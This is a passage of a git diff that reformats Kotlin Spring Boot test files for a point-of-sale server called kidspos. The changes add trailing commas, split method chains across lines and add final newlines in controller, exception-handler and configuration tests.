+ .andReturn() val content = result.response.contentAsString // Verify key endpoints are documented @@ -52,13 +56,15 @@ class OpenApiIntegrationTest { @Test fun `OpenAPI specification should include request and response schemas`() { - val result = mockMvc.perform(get("/v3/api-docs")) - .andExpect(status().isOk) - .andReturn() + val result = + mockMvc + .perform(get("/v3/api-docs")) + .andExpect(status().isOk) + .andReturn() val content = result.response.contentAsString // Verify schemas are present assertTrue(content.contains("\"components\"")) assertTrue(content.contains("\"schemas\"")) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/TestConfiguration.kt b/src/test/kotlin/info/nukoneko/kidspos/server/TestConfiguration.kt index 01da22e..b0f3012 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/TestConfiguration.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/TestConfiguration.kt @@ -17,7 +17,6 @@ import org.springframework.context.annotation.Primary */ @TestConfiguration class TestConfiguration { - // Mock all repositories @Bean @Primary @@ -59,4 +58,4 @@ class TestConfiguration { @Bean @Primary fun mockSettingService(): SettingService = mock(SettingService::class.java) -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/architecture/PackageStructureTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/architecture/PackageStructureTest.kt index e98539d..5f3b5a4 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/architecture/PackageStructureTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/architecture/PackageStructureTest.kt @@ -7,7 +7,6 @@ import java.nio.file.Path import java.nio.file.Paths class PackageStructureTest { - private val basePackage = "info.nukoneko.kidspos.server" private val sourcePath = Paths.get("src/main/kotlin/info/nukoneko/kidspos/server") @@ -66,11 +65,12 @@ class PackageStructureTest { private fun findFilesInPackage(packageName: String): List { val path = sourcePath.resolve(packageName) return if (Files.exists(path)) { - Files.walk(path) + Files + .walk(path) .filter { Files.isRegularFile(it) && it.toString().endsWith(".kt") } .toList() } else { emptyList() } } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/config/AppPropertiesTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/config/AppPropertiesTest.kt index ecccfcf..f67b173 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/config/AppPropertiesTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/config/AppPropertiesTest.kt @@ -17,8 +17,8 @@ import org.springframework.test.context.TestPropertySource "app.barcode.qr-size=250", "app.barcode.pdf.margin=30", "app.barcode.pdf.image-size=150", - "app.network.allowed-ip-prefix=10." - ] + "app.network.allowed-ip-prefix=10.", + ], ) @Disabled("Spring context not configured") class AppPropertiesTest { @@ -48,4 +48,4 @@ class AppPropertiesTest { // This test would require a separate test configuration // We'll implement this in the actual AppProperties class with defaults } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/config/CacheConfigTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/config/CacheConfigTest.kt index 7987637..3c9339c 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/config/CacheConfigTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/config/CacheConfigTest.kt @@ -51,4 +51,4 @@ class CacheConfigTest { val itemCache = cacheManager.getCache(CacheConfig.ITEM_BY_ID_CACHE) assertNotNull(itemCache) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/config/OpenApiTestConfiguration.kt b/src/test/kotlin/info/nukoneko/kidspos/server/config/OpenApiTestConfiguration.kt index ad46888..3662b5e 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/config/OpenApiTestConfiguration.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/config/OpenApiTestConfiguration.kt @@ -19,7 +19,6 @@ import org.springframework.context.annotation.Primary */ @TestConfiguration class OpenApiTestConfiguration { - @Bean @Primary fun idGenerationService(): IdGenerationService = mock(IdGenerationService::class.java) @@ -60,15 +59,11 @@ class OpenApiTestConfiguration { @Primary fun validationService(): ValidationService = mock(ValidationService::class.java) - @Bean @Primary fun receiptService(): ReceiptService = mock(ReceiptService::class.java) - @Bean @Primary fun saleProcessingService(): SaleProcessingService = mock(SaleProcessingService::class.java) - - -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/controller/advice/GlobalExceptionHandlerTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/controller/advice/GlobalExceptionHandlerTest.kt index db6b7fd..40d301e 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/controller/advice/GlobalExceptionHandlerTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/controller/advice/GlobalExceptionHandlerTest.kt @@ -28,13 +28,13 @@ import org.springframework.test.web.servlet.result.MockMvcResultMatchers.status includeFilters = [ org.springframework.context.annotation.ComponentScan.Filter( type = org.springframework.context.annotation.FilterType.ASSIGNABLE_TYPE, - classes = [GlobalExceptionHandler::class] - ) + classes = [GlobalExceptionHandler::class], + ), ], excludeAutoConfiguration = [ org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration::class, - org.springframework.boot.autoconfigure.orm.jpa.HibernateJpaAutoConfiguration::class - ] + org.springframework.boot.autoconfigure.orm.jpa.HibernateJpaAutoConfiguration::class, + ], ) @AutoConfigureMockMvc(addFilters = false) @Import(info.nukoneko.kidspos.server.TestConfiguration::class) @@ -61,7 +61,8 @@ class GlobalExceptionHandlerTest { `when`(itemService.findItem(999)).thenThrow(ItemNotFoundException(id = 999)) // When & Then - mockMvc.perform(get("/api/items/999")) + mockMvc + .perform(get("/api/items/999")) .andExpect(status().isNotFound) .andExpect(jsonPath("$.code").value("ITEM_NOT_FOUND")) .andExpect(jsonPath("$.message").value("Item with ID 999 not found")) @@ -71,19 +72,20 @@ class GlobalExceptionHandlerTest { @Test fun `should handle validation errors with detailed messages`() { // Given - val invalidRequest = CreateItemRequest( - name = "", // Invalid: empty name - barcode = "abc", // Invalid: not numeric - price = -100 // Invalid: negative price - ) + val invalidRequest = + CreateItemRequest( + name = "", // Invalid: empty name + barcode = "abc", // Invalid: not numeric + price = -100, // Invalid: negative price + ) // When & Then - mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(invalidRequest)) - ) - .andExpect(status().isBadRequest) + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(invalidRequest)), + ).andExpect(status().isBadRequest) .andExpect(jsonPath("$.code").value("VALIDATION_ERROR")) .andExpect(jsonPath("$.message").exists()) } @@ -95,7 +97,8 @@ class GlobalExceptionHandlerTest { .thenThrow(RuntimeException("Database connection failed at 192.168.1.100")) // When & Then - mockMvc.perform(get("/api/items/1")) + mockMvc + .perform(get("/api/items/1")) .andExpect(status().isInternalServerError) .andExpect(jsonPath("$.code").value("INTERNAL_ERROR")) .andExpect(jsonPath("$.message").value("An unexpected error occurred")) @@ -109,9 +112,10 @@ class GlobalExceptionHandlerTest { .thenThrow(InvalidBarcodeException("invalid")) // When & Then - mockMvc.perform(get("/api/items/barcode/invalid")) + mockMvc + .perform(get("/api/items/barcode/invalid")) .andExpect(status().isBadRequest) .andExpect(jsonPath("$.code").value("INVALID_BARCODE")) .andExpect(jsonPath("$.message").value("Invalid barcode format: invalid")) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiControllerTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiControllerTest.kt index fa9b558..c3449c1 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiControllerTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiControllerTest.kt @@ -26,8 +26,8 @@ import org.springframework.test.web.servlet.result.MockMvcResultMatchers.* controllers = [ItemApiController::class], excludeAutoConfiguration = [ org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration::class, - org.springframework.boot.autoconfigure.orm.jpa.HibernateJpaAutoConfiguration::class - ] + org.springframework.boot.autoconfigure.orm.jpa.HibernateJpaAutoConfiguration::class, + ], ) @AutoConfigureMockMvc(addFilters = false) @Import(info.nukoneko.kidspos.server.TestConfiguration::class) @@ -53,19 +53,21 @@ class ItemApiControllerTest { @BeforeEach fun setup() { - testItem = ItemEntity( - id = 1, - barcode = "123456789", - name = "Test Item", - price = 100 - ) - - testItemResponse = ItemResponse( - id = 1, - barcode = "123456789", - name = "Test Item", - price = 100 - ) + testItem = + ItemEntity( + id = 1, + barcode = "123456789", + name = "Test Item", + price = 100, + ) + + testItemResponse = + ItemResponse( + id = 1, + barcode = "123456789", + name = "Test Item", + price = 100, + ) } @Test @@ -78,7 +80,8 @@ class ItemApiControllerTest { `when`(itemMapper.toResponseList(items)).thenReturn(responses) // When & Then - mockMvc.perform(get("/api/items")) + mockMvc + .perform(get("/api/items")) .andExpect(status().isOk) .andExpect(content().contentType(MediaType.APPLICATION_JSON)) .andExpect(jsonPath("$").isArray) @@ -98,7 +101,8 @@ class ItemApiControllerTest { `when`(itemMapper.toResponse(testItem)).thenReturn(testItemResponse) // When & Then - mockMvc.perform(get("/api/items/1")) + mockMvc + .perform(get("/api/items/1")) .andExpect(status().isOk) .andExpect(content().contentType(MediaType.APPLICATION_JSON)) .andExpect(jsonPath("$.id").value(1)) @@ -114,7 +118,8 @@ class ItemApiControllerTest { `when`(itemService.findItem(999)).thenReturn(null) // When & Then - mockMvc.perform(get("/api/items/999")) + mockMvc + .perform(get("/api/items/999")) .andExpect(status().isNotFound) verify(itemService).findItem(999) @@ -128,7 +133,8 @@ class ItemApiControllerTest { `when`(itemMapper.toResponse(testItem)).thenReturn(testItemResponse) // When & Then - mockMvc.perform(get("/api/items/barcode/123456789")) + mockMvc + .perform(get("/api/items/barcode/123456789")) .andExpect(status().isOk) .andExpect(content().contentType(MediaType.APPLICATION_JSON)) .andExpect(jsonPath("$.barcode").value("123456789")) @@ -140,7 +146,8 @@ class ItemApiControllerTest { @Test fun `should throw exception for invalid barcode format`() { // When & Then - mockMvc.perform(get("/api/items/barcode/abc")) + mockMvc + .perform(get("/api/items/barcode/abc")) .andExpect(status().isBadRequest) verify(itemService, never()).findItem(any()) @@ -152,7 +159,8 @@ class ItemApiControllerTest { `when`(itemService.findItem("999999999")).thenReturn(null) // When & Then - mockMvc.perform(get("/api/items/barcode/999999999")) + mockMvc + .perform(get("/api/items/barcode/999999999")) .andExpect(status().isNotFound) verify(itemService).findItem("999999999") @@ -162,36 +170,39 @@ class ItemApiControllerTest { @Test fun `should create item successfully`() { // Given - val request = CreateItemRequest( - name = "New Item", - barcode = "987654321", - price = 200 - ) - - val savedItem = ItemEntity( - id = 2, - barcode = "987654321", - name = "New Item", - price = 200 - ) - - val savedResponse = ItemResponse( - id = 2, - barcode = "987654321", - name = "New Item", - price = 200 - ) + val request = + CreateItemRequest( + name = "New Item", + barcode = "987654321", + price = 200, + ) + + val savedItem = + ItemEntity( + id = 2, + barcode = "987654321", + name = "New Item", + price = 200, + ) + + val savedResponse = + ItemResponse( + id = 2, + barcode = "987654321", + name = "New Item", + price = 200, + ) `when`(itemService.save(any())).thenReturn(savedItem) `when`(itemMapper.toResponse(savedItem)).thenReturn(savedResponse) // When & Then - mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request)) - ) - .andExpect(status().isCreated) + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request)), + ).andExpect(status().isCreated) .andExpect(content().contentType(MediaType.APPLICATION_JSON)) .andExpect(jsonPath("$.id").value(2)) .andExpect(jsonPath("$.name").value("New Item")) @@ -205,19 +216,20 @@ class ItemApiControllerTest { @Test fun `should handle validation errors during item creation`() { // Given - val request = CreateItemRequest( - name = "", - barcode = "", - price = -10 - ) + val request = + CreateItemRequest( + name = "", + barcode = "", + price = -10, + ) // When & Then - mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request)) - ) - .andExpect(status().isBadRequest) + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request)), + ).andExpect(status().isBadRequest) verify(itemService, never()).save(any()) } @@ -225,37 +237,40 @@ class ItemApiControllerTest { @Test fun `should update item successfully`() { // Given - val request = CreateItemRequest( - name = "Updated Item", - barcode = "123456789", - price = 150 - ) - - val updatedItem = ItemEntity( - id = 1, - barcode = "123456789", - name = "Updated Item", - price = 150 - ) - - val updatedResponse = ItemResponse( - id = 1, - barcode = "123456789", - name = "Updated Item", - price = 150 - ) + val request = + CreateItemRequest( + name = "Updated Item", + barcode = "123456789", + price = 150, + ) + + val updatedItem = + ItemEntity( + id = 1, + barcode = "123456789", + name = "Updated Item", + price = 150, + ) + + val updatedResponse = + ItemResponse( + id = 1, + barcode = "123456789", + name = "Updated Item", + price = 150, + ) `when`(itemService.findItem(1)).thenReturn(testItem) `when`(itemService.save(any())).thenReturn(updatedItem) `when`(itemMapper.toResponse(updatedItem)).thenReturn(updatedResponse) // When & Then - mockMvc.perform( - put("/api/items/1") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request)) - ) - .andExpect(status().isOk) + mockMvc + .perform( + put("/api/items/1") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request)), + ).andExpect(status().isOk) .andExpect(content().contentType(MediaType.APPLICATION_JSON)) .andExpect(jsonPath("$.name").value("Updated Item")) .andExpect(jsonPath("$.price").value(150)) @@ -270,21 +285,22 @@ class ItemApiControllerTest { @Test fun `should throw exception when updating non-existent item`() { // Given - val request = CreateItemRequest( - name = "Updated Item", - barcode = "123456789", - price = 150 - ) + val request = + CreateItemRequest( + name = "Updated Item", + barcode = "123456789", + price = 150, + ) `when`(itemService.findItem(999)).thenReturn(null) // When & Then - mockMvc.perform( - put("/api/items/999") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request)) - ) - .andExpect(status().isNotFound) + mockMvc + .perform( + put("/api/items/999") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request)), + ).andExpect(status().isNotFound) verify(itemService).findItem(999) verify(itemService, never()).save(any()) @@ -293,7 +309,8 @@ class ItemApiControllerTest { @Test fun `should delete item successfully`() { // When & Then - mockMvc.perform(delete("/api/items/1")) + mockMvc + .perform(delete("/api/items/1")) .andExpect(status().isNoContent) verify(validationService).validateItemExists(1) @@ -302,22 +319,22 @@ class ItemApiControllerTest { @Test fun `should handle empty request body`() { // When & Then - mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content("") - ) - .andExpect(status().isBadRequest) + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(""), + ).andExpect(status().isBadRequest) } @Test fun `should handle malformed JSON`() { // When & Then - mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content("{invalid json") - ) - .andExpect(status().isBadRequest) + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content("{invalid json"), + ).andExpect(status().isBadRequest) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiControllerUnitTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiControllerUnitTest.kt index c60cccb..29812ce 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiControllerUnitTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/ItemApiControllerUnitTest.kt @@ -19,7 +19,6 @@ import org.springframework.http.HttpStatus @ExtendWith(MockitoExtension::class) class ItemApiControllerUnitTest { - @Mock private lateinit var itemService: ItemService @@ -37,19 +36,21 @@ class ItemApiControllerUnitTest { @BeforeEach fun setup() { - testItem = ItemEntity( - id = 1, - barcode = "123456789", - name = "Test Item", - price = 100 - ) - - testItemResponse = ItemResponse( - id = 1, - barcode = "123456789", - name = "Test Item", - price = 100 - ) + testItem = + ItemEntity( + id = 1, + barcode = "123456789", + name = "Test Item", + price = 100, + ) + + testItemResponse = + ItemResponse( + id = 1, + barcode = "123456789", + name = "Test Item", + price = 100, + ) } @Test @@ -148,35 +149,39 @@ class ItemApiControllerUnitTest { @Test fun `should create item successfully`() { // Given - val request = CreateItemRequest( - name = "New Item", - barcode = "987654321", - price = 200 - ) - - val savedItem = ItemEntity( - id = 2, - barcode = "987654321", - name = "New Item", - price = 200 - ) - - val savedResponse = ItemResponse( - id = 2, - barcode = "987654321", - name = "New Item", - price = 200 - ) + val request = + CreateItemRequest( + name = "New Item", + barcode = "987654321", + price = 200, + ) + + val savedItem = + ItemEntity( + id = 2, + barcode = "987654321", + name = "New Item", + price = 200, + ) + + val savedResponse = + ItemResponse( + id = 2, + barcode = "987654321", + name = "New Item", + price = 200, + ) doNothing().`when`(validationService).validateBarcodeUnique(request.barcode) doNothing().`when`(validationService).validatePriceRange(request.price) // Create expected ItemBean for mocking - val expectedItemBean = ItemBean( - barcode = request.barcode, - name = request.name, - price = request.price - ) + val expectedItemBean = + ItemBean( + barcode = request.barcode, + name = request.name, + price = request.price, + ) `when`(itemService.save(expectedItemBean)).thenReturn(savedItem) `when`(itemMapper.toResponse(savedItem)).thenReturn(savedResponse) @@ -198,37 +203,41 @@ class ItemApiControllerUnitTest { @Test fun `should update item successfully`() { // Given - val request = CreateItemRequest( - name = "Updated Item", - barcode = "123456789", - price = 150 - ) - - val updatedItem = ItemEntity( - id = 1, - barcode = "123456789", - name = "Updated Item", - price = 150 - ) - - val updatedResponse = ItemResponse( - id = 1, - barcode = "123456789", - name = "Updated Item", - price = 150 - ) + val request = + CreateItemRequest( + name = "Updated Item", + barcode = "123456789", + price = 150, + ) + + val updatedItem = + ItemEntity( + id = 1, + barcode = "123456789", + name = "Updated Item", + price = 150, + ) + + val updatedResponse = + ItemResponse( + id = 1, + barcode = "123456789", + name = "Updated Item", + price = 150, + ) `when`(itemService.findItem(1)).thenReturn(testItem) doNothing().`when`(validationService).validateBarcodeUnique("123456789", 1) doNothing().`when`(validationService).validatePriceRange(150) // Create expected ItemBean for mocking - val expectedItemBean = ItemBean( - id = 1, - barcode = request.barcode, - name = request.name, - price = request.price - ) + val expectedItemBean = + ItemBean( + id = 1, + barcode = request.barcode, + name = request.name, + price = request.price, + ) `when`(itemService.save(expectedItemBean)).thenReturn(updatedItem) `when`(itemMapper.toResponse(updatedItem)).thenReturn(updatedResponse) @@ -266,11 +275,12 @@ class ItemApiControllerUnitTest { @Test fun `should throw exception when updating non-existent item`() { // Given - val request = CreateItemRequest( - name = "Updated Item", - barcode = "123456789", - price = 150 - ) + val request = + CreateItemRequest( + name = "Updated Item", + barcode = "123456789", + price = 150, + ) `when`(itemService.findItem(999)).thenReturn(null) @@ -300,5 +310,4 @@ class ItemApiControllerUnitTest { verify(validationService).validateItemExists(999) } - -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiControllerTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiControllerTest.kt index 75f35bc..74f0aca 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiControllerTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiControllerTest.kt @@ -27,8 +27,8 @@ import java.util.* controllers = [SaleApiController::class], excludeAutoConfiguration = [ org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration::class, - org.springframework.boot.autoconfigure.orm.jpa.HibernateJpaAutoConfiguration::class - ] + org.springframework.boot.autoconfigure.orm.jpa.HibernateJpaAutoConfiguration::class, + ], ) @AutoConfigureMockMvc(addFilters = false) @Import(info.nukoneko.kidspos.server.TestConfiguration::class) @@ -57,40 +57,44 @@ class SaleApiControllerTest { @BeforeEach fun setup() { - testSale = SaleEntity( - id = 1, - storeId = 1, - staffId = 1, - quantity = 2, - amount = 300, - deposit = 400, - createdAt = Date() - ) - - testItems = listOf( - ItemBean(1, "123456789", "Test Item 1", 100), - ItemBean(2, "987654321", "Test Item 2", 200) - ) + testSale = + SaleEntity( + id = 1, + storeId = 1, + staffId = 1, + quantity = 2, + amount = 300, + deposit = 400, + createdAt = Date(), + ) + + testItems = + listOf( + ItemBean(1, "123456789", "Test Item 1", 100), + ItemBean(2, "987654321", "Test Item 2", 200), + ) } @Test fun `should create sale successfully`() { // Given - val request = CreateSaleRequest( - storeId = 1, - staffBarcode = "STAFF001", - itemIds = "1,2", - deposit = 400 - ) - - val summary = SaleSummary( - totalAmount = 300, - deposit = 400, - change = 100, - itemCount = 2, - uniqueItems = 2, - itemQuantities = mapOf(1 to 1, 2 to 1) - ) + val request = + CreateSaleRequest( + storeId = 1, + staffBarcode = "STAFF001", + itemIds = "1,2", + deposit = 400, + ) + + val summary = + SaleSummary( + totalAmount = 300, + deposit = 400, + change = 100, + itemCount = 2, + uniqueItems = 2, + itemQuantities = mapOf(1 to 1, 2 to 1), + ) `when`(itemParsingService.parseItemsFromIds("1,2")).thenReturn(testItems) `when`(saleProcessingService.processSaleWithValidation(any(), any())) @@ -98,12 +102,12 @@ class SaleApiControllerTest { `when`(receiptService.printReceipt(any(), any(), any(), any())).thenReturn(true) // When & Then - mockMvc.perform( - post("/api/sales") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request)) - ) - .andExpect(status().isOk) + mockMvc + .perform( + post("/api/sales") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request)), + ).andExpect(status().isOk) .andExpect(jsonPath("$.success").value(true)) verify(itemParsingService).parseItemsFromIds("1,2") @@ -113,24 +117,25 @@ class SaleApiControllerTest { @Test fun `should return bad request for validation error`() { // Given - val request = CreateSaleRequest( - storeId = 1, - staffBarcode = "STAFF001", - itemIds = "1,2", - deposit = 100 - ) + val request = + CreateSaleRequest( + storeId = 1, + staffBarcode = "STAFF001", + itemIds = "1,2", + deposit = 100, + ) `when`(itemParsingService.parseItemsFromIds("1,2")).thenReturn(testItems) `when`(saleProcessingService.processSaleWithValidation(any(), any())) .thenReturn(SaleResult.ValidationError("Insufficient deposit")) // When & Then - mockMvc.perform( - post("/api/sales") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request)) - ) - .andExpect(status().isBadRequest) + mockMvc + .perform( + post("/api/sales") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request)), + ).andExpect(status().isBadRequest) verify(itemParsingService).parseItemsFromIds("1,2") verify(saleProcessingService).processSaleWithValidation(any(), any()) @@ -140,24 +145,25 @@ class SaleApiControllerTest { @Test fun `should return internal server error for processing error`() { // Given - val request = CreateSaleRequest( - storeId = 1, - staffBarcode = "STAFF001", - itemIds = "1,2", - deposit = 400 - ) + val request = + CreateSaleRequest( + storeId = 1, + staffBarcode = "STAFF001", + itemIds = "1,2", + deposit = 400, + ) `when`(itemParsingService.parseItemsFromIds("1,2")).thenReturn(testItems) `when`(saleProcessingService.processSaleWithValidation(any(), any())) .thenReturn(SaleResult.ProcessingError("Database error")) // When & Then - mockMvc.perform( - post("/api/sales") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request)) - ) - .andExpect(status().isInternalServerError) + mockMvc + .perform( + post("/api/sales") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request)), + ).andExpect(status().isInternalServerError) verify(itemParsingService).parseItemsFromIds("1,2") verify(saleProcessingService).processSaleWithValidation(any(), any()) @@ -166,23 +172,24 @@ class SaleApiControllerTest { @Test fun `should handle exception during sale creation`() { // Given - val request = CreateSaleRequest( - storeId = 1, - staffBarcode = "STAFF001", - itemIds = "1,2", - deposit = 400 - ) + val request = + CreateSaleRequest( + storeId = 1, + staffBarcode = "STAFF001", + itemIds = "1,2", + deposit = 400, + ) `when`(itemParsingService.parseItemsFromIds("1,2")) .thenThrow(RuntimeException("Parsing error")) // When & Then - mockMvc.perform( - post("/api/sales") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request)) - ) - .andExpect(status().isInternalServerError) + mockMvc + .perform( + post("/api/sales") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(request)), + ).andExpect(status().isInternalServerError) verify(itemParsingService).parseItemsFromIds("1,2") verify(saleProcessingService, never()).processSaleWithValidation(any(), any()) @@ -192,24 +199,26 @@ class SaleApiControllerTest { fun `should get all sales successfully`() { // Given val sales = listOf(testSale) - val saleResponse = SaleResponse( - id = 1, - storeId = 1, - storeName = "Store 1", - staffId = "STAFF001", - staffName = "Test Staff", - totalAmount = 300, - deposit = 400, - change = 100, - saleTime = java.time.LocalDateTime.now(), - items = emptyList() - ) + val saleResponse = + SaleResponse( + id = 1, + storeId = 1, + storeName = "Store 1", + staffId = "STAFF001", + staffName = "Test Staff", + totalAmount = 300, + deposit = 400, + change = 100, + saleTime = java.time.LocalDateTime.now(), + items = emptyList(), + ) `when`(saleProcessingService.findAllSales()).thenReturn(sales) `when`(saleMapper.toResponseList(sales)).thenReturn(listOf(saleResponse)) // When & Then - mockMvc.perform(get("/api/sales")) + mockMvc + .perform(get("/api/sales")) .andExpect(status().isOk) .andExpect(content().contentType(MediaType.APPLICATION_JSON)) .andExpect(jsonPath("$").isArray) @@ -222,24 +231,26 @@ class SaleApiControllerTest { @Test fun `should get sale by ID successfully`() { // Given - val saleResponse = SaleResponse( - id = 1, - storeId = 1, - storeName = "Store 1", - staffId = "STAFF001", - staffName = "Test Staff", - totalAmount = 300, - deposit = 400, - change = 100, - saleTime = java.time.LocalDateTime.now(), - items = emptyList() - ) + val saleResponse = + SaleResponse( + id = 1, + storeId = 1, + storeName = "Store 1", + staffId = "STAFF001", + staffName = "Test Staff", + totalAmount = 300, + deposit = 400, + change = 100, + saleTime = java.time.LocalDateTime.now(), + items = emptyList(), + ) `when`(saleProcessingService.findSaleById(1)).thenReturn(testSale) `when`(saleMapper.toResponse(testSale)).thenReturn(saleResponse) // When & Then - mockMvc.perform(get("/api/sales/1")) + mockMvc + .perform(get("/api/sales/1")) .andExpect(status().isOk) .andExpect(content().contentType(MediaType.APPLICATION_JSON)) .andExpect(jsonPath("$.id").value(1)) @@ -254,7 +265,8 @@ class SaleApiControllerTest { `when`(saleProcessingService.findSaleById(999)).thenReturn(null) // When & Then - mockMvc.perform(get("/api/sales/999")) + mockMvc + .perform(get("/api/sales/999")) .andExpect(status().isNotFound) verify(saleProcessingService).findSaleById(999) @@ -264,7 +276,8 @@ class SaleApiControllerTest { @Test fun `should validate printer configuration successfully`() { // When & Then - mockMvc.perform(get("/api/sales/printer/validate")) + mockMvc + .perform(get("/api/sales/printer/validate")) .andExpect(status().isOk) } @@ -275,7 +288,8 @@ class SaleApiControllerTest { .thenReturn(false) // When & Then - mockMvc.perform(get("/api/sales/printer/validate")) + mockMvc + .perform(get("/api/sales/printer/validate")) .andExpect(status().isOk) verify(receiptService).validatePrinterConfiguration(1) @@ -284,42 +298,44 @@ class SaleApiControllerTest { @Test fun `should handle validation errors for missing parameters`() { // Given - val invalidRequest = """ + val invalidRequest = + """ { "storeId": null, "staffBarcode": "", "itemIds": "", "deposit": -100 } - """.trimIndent() + """.trimIndent() // When & Then - mockMvc.perform( - post("/api/sales") - .contentType(MediaType.APPLICATION_JSON) - .content(invalidRequest) - ) - .andExpect(status().isBadRequest) + mockMvc + .perform( + post("/api/sales") + .contentType(MediaType.APPLICATION_JSON) + .content(invalidRequest), + ).andExpect(status().isBadRequest) } @Test fun `should handle validation errors for invalid parameters`() { // Given - val invalidRequest = CreateSaleRequest( - storeId = -1, - staffBarcode = "", - itemIds = "", - deposit = -100 - ) + val invalidRequest = + CreateSaleRequest( + storeId = -1, + staffBarcode = "", + itemIds = "", + deposit = -100, + ) // When & Then - mockMvc.perform( - post("/api/sales") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(invalidRequest)) - ) - .andExpect(status().isBadRequest) + mockMvc + .perform( + post("/api/sales") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(invalidRequest)), + ).andExpect(status().isBadRequest) verify(itemParsingService, never()).parseItemsFromIds(any()) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiControllerUnitTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiControllerUnitTest.kt index 6c5a2b4..7802e43 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiControllerUnitTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/controller/api/SaleApiControllerUnitTest.kt @@ -20,7 +20,6 @@ import java.util.* @ExtendWith(MockitoExtension::class) class SaleApiControllerUnitTest { - @Mock private lateinit var saleProcessingService: SaleProcessingService @@ -41,47 +40,52 @@ class SaleApiControllerUnitTest { @BeforeEach fun setup() { - testSale = SaleEntity( - id = 1, - storeId = 1, - staffId = 1, - quantity = 2, - amount = 300, - deposit = 400, - createdAt = Date() - ) - - testItems = listOf( - ItemBean(1, "123456789", "Test Item 1", 100), - ItemBean(2, "987654321", "Test Item 2", 200) - ) + testSale = + SaleEntity( + id = 1, + storeId = 1, + staffId = 1, + quantity = 2, + amount = 300, + deposit = 400, + createdAt = Date(), + ) + + testItems = + listOf( + ItemBean(1, "123456789", "Test Item 1", 100), + ItemBean(2, "987654321", "Test Item 2", 200), + ) } @Test fun `should create sale successfully`() { // Given - val request = 